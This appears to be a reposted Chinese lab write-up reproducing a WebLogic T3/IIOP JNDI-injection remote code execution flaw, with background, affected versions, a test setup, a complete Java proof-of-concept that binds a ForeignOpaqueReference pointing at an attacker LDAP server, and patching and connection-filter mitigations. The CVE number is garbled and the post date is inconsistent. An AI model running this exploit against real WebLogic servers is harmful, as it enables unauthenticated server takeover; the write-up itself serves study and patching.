900字范文,内容丰富有趣,生活中的好帮手!
900字范文 > WebLogic Server 远程代码执行漏洞复现 (CVE--21839)

WebLogic Server 远程代码执行漏洞复现 (CVE--21839)

时间:2020-07-12 01:16:20

相关推荐

WebLogic Server 远程代码执行漏洞复现 (CVE--21839)

1、产品简介

Oracle WebLogic Server是一个统一的可扩展平台,用于在本地和云端开发、部署和运行企业应用程序,例如 Java。WebLogic Server提供了Java Enterprise Edition (EE)和Jakarta EE的可靠、成熟和可扩展的实现。

WebLogic是美商Oracle的主要产品之一,系购并得来。是商业市场上主要的Java应用服务器软件之一,是世界上第一个成功商业化的J2EE应用服务器,目前已推出到14c版。而此产品也延伸出WebLogic Portal, WebLogic Integration等企业用的中间件,以及OEPE开发工具。

2、漏洞概述

WebLogic存在远程代码执行漏洞,该漏洞允许未经身份验证的远程攻击者通过T3/IIOP协议网络访问并破坏易受攻击的WebLogic服务器,成功利用此漏洞可能导致Oracle WebLogic服务器被接管或敏感信息泄露。

Weblogic T3/IIOP反序列化命令执行漏洞

Weblogic t3/iiop协议支持远程绑定对象bind到服务端。并且可以通过lookup查看,代码:c.lookup("xxxxxx");。

当远程对象继承自OpaqueReference时,lookup查看远程对象时,服务端会调用远程对象getReferent方法。

weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现,故可以通过rmi/ldap远程协议进行远程命令执行。

3、影响范围

Oracle WebLogic Server 12.2.1.3.0

Oracle WebLogic Server 12.2.1.4.0

Oracle WebLogic Server 14.1.1.0.0

4、复现环境

win10: 192.168.42.128

kali: 192.168.42.129

win10上搭建存在漏洞的WebLogic Server 12.2.1.3.0版本

环境搭建可以参考以下(很详细)

Oracle WebLogic12.2.1.3.0安装与配置(Windows)_风梧1994的博客-CSDN博客_weblogic 12.2.1.3.0

注意:JDNI注入由于其加载动态类原理是JNDI Reference远程加载Object Factory类的特性,在JDK 6u132, JDK 7u122, JDK 8u113版本中,系统属性com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。

在10月,Java对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false。

因此,搭建此漏洞复现环境时jdk版本需要< jdk 8u191 。(推荐jdk 8u112)

安装好环境验证一下本地是否可以访问

5、漏洞复现

利用poc如下:

import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.lang.reflect.Field;import java.util.Hashtable;public class BindRce {static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";private static InitialContext getInitialContext(String url)throws NamingException{Hashtable<String,String> env = new Hashtable<String,String>();env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);env.put(Context.PROVIDER_URL, url);return new InitialContext(env);}//iioppublic static void main(String args[]) throws Exception {InitialContext c=getInitialContext("t3://127.0.0.1:7001");Hashtable<String,String> env = new Hashtable<String,String>();env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");jndiEnvironment.setAccessible(true);jndiEnvironment.set(f,env);Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");remoteJNDIName.setAccessible(true);remoteJNDIName.set(f,"ldap://xxxxxxxx/xxx");c.bind("xxxx",f);c.lookup("xxx"); }}

注意:weblogic10 及以后的版本,不能直接使用server/lib 目录下的 weblogic.jar 了,需要手动执行一个命令生成手动生成 wlfullclient.jar,用来替代老版本中的 weblogic.jar。

具体命令如下(Windows 系统,我的 weblogic 安装目录是C:\Oracle)

切换到C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib 下,执行java -jarC:\Oracle\Middleware\Oracle_Home\wlserver\modules\com.bea.core.jarbuilder.jar

cd C:\Oracle\Middleware\Oracle_Home\wlserver\server\libjava -jarC:\Oracle\Middleware\Oracle_Home\wlserver\modules\com.bea.core.jarbuilder.jar#根据自己的路径去找包,生成wlfullclient.jar

打开IEDA创建一个Java项目并本地导入生成的wlfullclient.jar

创建利用poc类,类名可自定义,并把里面的url都换成自己环境的;

kali开放LDAP和WEB服务,

执行poc,让目标加载恶意类造成RCE

等了几秒没有反应,查看漏洞环境,发现被360拦截了,可以看到要去远程加载恶意类,点击允许

复现成功

6、修复建议

厂商已发布了漏洞修复补丁,下载链接:/rs?type=doc&id=2917213.2

Oracle WebLogic Server补丁安装方式

1.Oracle WebLogic Server 11g:

bsu.cmd -install -patch_download_dir=C:\Oracle\Middleware\utils\bsu\cache_dir -patchlist=3L3H -prod_dir=C:\Oracle\Middleware\wlserver_10.3

2.Oracle WebLogic Server 12c:

使用opatch apply 安装补丁

C:\Oracle\Middleware\Oracle_Home\OPatch>opatch apply 本机补丁地址

注:补丁编号请自行更改为新补丁编号。

禁用T3、IIOP协议具体操作步骤如下:

1.禁用T3:

进入WebLogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。

在连接筛选器中输入:.ConnectionFilterImpl,参考以下写法,在连接筛选器规则中配置符合企业实际情况的规则:

127.0.0.1 * * allow t3 t3s本机IP * * allow t3 t3s允许访问的IP * * allow t3 t3s * * * deny t3 t3s

连接筛选器规则格式如下:target localAddress localPort action protocols,其中:

target 指定一个或多个要筛选的服务器。

localAddress 可定义服务器的主机地址。(如果指定为一个星号 (*),则返回的匹配结果将是所有本地 IP 地址。)

localPort 定义服务器正在监听的端口。(如果指定了星号,则匹配返回的结果将是服务器上所有可用的端口)。

action 指定要执行的操作。(值必须为“allow”或“deny”。)

protocols 是要进行匹配的协议名列表。(必须指定下列其中一个协议:http、https、t3、t3s、giop、giops、dcom 或 ftp。) 如果未定义协议,则所有协议都将与一个规则匹配。

保存后若规则未生效,建议重新启动WebLogic服务(重启WebLogic服务会导致业务中断,建议相关人员评估风险后,再进行操作)。以Windows环境为例,重启服务的步骤如下:

进入域所在目录下的bin目录,在Windows系统中运行stopWebLogic.cmd文件终止WebLogic服务,Linux系统中则运行stopWebLogic.sh文件。

待终止脚本执行完成后,再运行startWebLogic.cmd或startWebLogic.sh文件启动WebLogic,即可完成WebLogic服务重启。

2.禁用IIOP:

经过测试,weblogic 12.1.3.0.0、weblogic 12.2.1.3.0(12c)、weblogic14.x(14c) 版本禁用IIOP协议的详细步骤如下:

登录weblogic后台之后,点开“域分区”—环境—服务器—“AdminServer(管理)”

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。